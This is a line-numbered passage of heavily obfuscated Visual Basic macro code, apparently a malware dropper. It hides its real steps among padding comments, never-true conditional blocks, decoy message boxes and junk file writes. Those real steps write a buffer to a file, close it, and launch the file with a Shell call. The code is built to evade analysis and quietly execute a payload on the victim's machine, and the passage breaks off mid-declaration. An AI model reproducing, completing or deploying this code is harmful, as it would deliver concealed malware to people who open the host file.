  637. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  638. If 3446 < 38 Then
  639. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  640.  
  641. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  642. GoTo VUNyGITR
  643. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  644. Dim JVJJYGMi As String
  645. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  646. Open "VOBLPK.UZV" For Binary As 78
  647. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  648. Put #78, , JVJJYGMi
  649. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  650. Close #78
  651. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  652. VUNyGITR:
  653. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  654.  
  655. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  656.        MsgBox ("wvuNRfaJ21")
  657. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  658. End If
  659. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  660. If Len("OBhYzNoZ4387") = Len("RlFsXtwH") Then
  661. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  662.  
  663. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  664. GoTo kliYwmTW
  665. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  666. Dim CgHaIHxS As String
  667. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  668. Open "AKBVQK.AGB" For Binary As 92
  669. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  670. Put #92, , CgHaIHxS
  671. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  672. Close #92
  673. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  674. kliYwmTW:
  675. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  676.  
  677. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  678.       MsgBox ("Error !!!")
  679. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  680. End If
  681. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  682.  
  683. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  684. GoTo TGfoitDG
  685. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  686. Dim qPXEmbRY As String
  687. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  688. Open "IEZSRP.INZ" For Binary As 26
  689. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  690. Put #26, , qPXEmbRY
  691. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  692. Close #26
  693. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  694. TGfoitDG:
  695. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  696.  
  697. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  698.    Put #XWAMIBOZGAS, , VWKPFFGVDDM
  699. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  700.  
  701. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  702. If 284982 = 284982 + 1 Then End
  703. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  704. If 2746 < 58 Then
  705. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  706.  
  707. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  708. GoTo Apvlqtlq
  709. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  710. Dim utyDcbpe As String
  711. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  712. Open "YDUJTP.YQU" For Binary As 11
  713. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  714. Put #11, , utyDcbpe
  715. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  716. Close #11
  717. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  718. Apvlqtlq:
  719. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  720.  
  721. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  722.        MsgBox ("TKPGktMS35")
  723. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  724. End If
  725. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  726. If Len("gKugrmVA3596") = Len("HwPAsLci") Then
  727. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  728.  
  729. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  730. GoTo UZkLgVlw
  731. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  732. Dim dcBfZlpf As String
  733. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  734. Open "HUIDXN.BBY" For Binary As 58
  735. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  736. Put #58, , dcBfZlpf
  737. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  738. Close #58
  739. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  740. UZkLgVlw:
  741. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  742.  
  743. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  744.       MsgBox ("Error !!!")
  745. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  746. End If
  747. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  748.  
  749. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  750. GoTo yDCvjciu
  751. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  752. Dim BrDouRxP As String
  753. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  754. Open "ZSVZCD.QTX" For Binary As 99
  755. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  756. Put #99, , BrDouRxP
  757. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  758. Close #99
  759. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  760. yDCvjciu:
  761. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  762.  
  763. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  764.    Close #XWAMIBOZGAS
  765. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  766.  
  767. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  768. If 382764 = 382764 + 1 Then End
  769. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  770. If 4469 < 62 Then
  771. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  772.  
  773. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  774. GoTo JlITrUyS
  775. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  776. Dim xghNkzCE As String
  777. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  778. Open "FKSCZB.CPP" For Binary As 42
  779. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  780. Put #42, , xghNkzCE
  781. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  782. Close #42
  783. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  784. JlITrUyS:
  785. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  786.  
  787. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  788.        MsgBox ("eUwWIUqk73")
  789. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  790. End If
  791. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  792. If Len("OCvMJNuP7633") = Len("KQuGfJKO") Then
  793. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  794.  
  795. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  796. GoTo LqwEbArX
  797. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  798. Dim vyeVSCWD As String
  799. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  800. Open "GFYXDX.GQY" For Binary As 41
  801. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  802. Put #41, , vyeVSCWD
  803. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  804. Close #41
  805. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  806. LqwEbArX:
  807. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  808.  
  809. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  810.       MsgBox ("Error !!!")
  811. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  812. End If
  813. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  814.  
  815. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  816. GoTo kmainzLY
  817. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  818. Dim XjIZDxPv As String
  819. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  820. Open "ALWSDO.AHX" For Binary As 83
  821. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  822. Put #83, , XjIZDxPv
  823. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  824. Close #83
  825. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  826. kmainzLY:
  827. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  828.  
  829. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  830.    
  831. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  832.  
  833. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  834.    Dim XWJWPVMYHKV
  835. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  836. If 767841 = 767841 + 1 Then End
  837. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  838. If 7575 < 17 Then
  839. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  840.  
  841. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  842. GoTo liiUvCFy
  843. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  844. Dim BeGzSkTC As String
  845. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  846. Open "OCEYAB.KGA" For Binary As 24
  847. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  848. Put #24, , BeGzSkTC
  849. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  850. Close #24
  851. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  852. liiUvCFy:
  853. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  854.  
  855. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  856.        MsgBox ("uOBUInbk83")
  857. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  858. End If
  859. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  860. If Len("rtRcVZaL8425") = Len("kdBmZgeF") Then
  861. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  862.  
  863. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  864. GoTo qqwATarv
  865. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  866. Dim eAddxilz As String
  867. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  868. Open "RVPRTZ.RXP" For Binary As 14
  869. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  870. Put #14, , eAddxilz
  871. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  872. Close #14
  873. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  874. qqwATarv:
  875. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  876.  
  877. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  878.       MsgBox ("Error !!!")
  879. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  880. End If
  881. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  882.  
  883. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  884. GoTo mNKHeGxc
  885. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  886. Dim NWbshpfh As String
  887. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  888. Open "ZIJEAZ.ZYJ" For Binary As 98
  889. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  890. Put #98, , NWbshpfh
  891. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  892. Close #98
  893. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  894. mNKHeGxc:
  895. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  896.  
  897. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  898.    XWJWPVMYHKV = Shell(SKXFFXVBUFG, 1)
  899. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  900.  
  901. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  902.  
  903. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  904. If 994826 = 994826 + 1 Then End
  905. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  906. If 6787 < 62 Then
  907. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  908.  
  909. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  910. GoTo xHUORGYo
  911. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  912. Dim zQhtJqva As String
  913. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  914. Open "EESNGE.DXP" For Binary As 96
  915. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  916. Put #96, , zQhtJqva
  917. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  918. Close #96
  919. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  920. xHUORGYo:
  921. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  922.  
  923. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  924.        MsgBox ("CsGlvPES44")
  925. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  926. End If
  927. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  928. If Len("VjFOlPfQ7647") = Len("KOfgsGnB") Then
  929. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  930.  
  931. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  932. GoTo qsdkwVuU
  933. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  934. Dim GiMSIlBb As String
  935. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  936. Open "CGAJQU.CSA" For Binary As 71
  937. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  938. Put #71, , GiMSIlBb
  939. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  940. Close #71
  941. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  942. qsdkwVuU:
  943. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  944.  
  945. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  946.       MsgBox ("Error !!!")
  947. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  948. End If
  949. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  950.  
  951. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  952. GoTo IxJXxcCl
  953. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  954. Dim fkbkPLFp As String
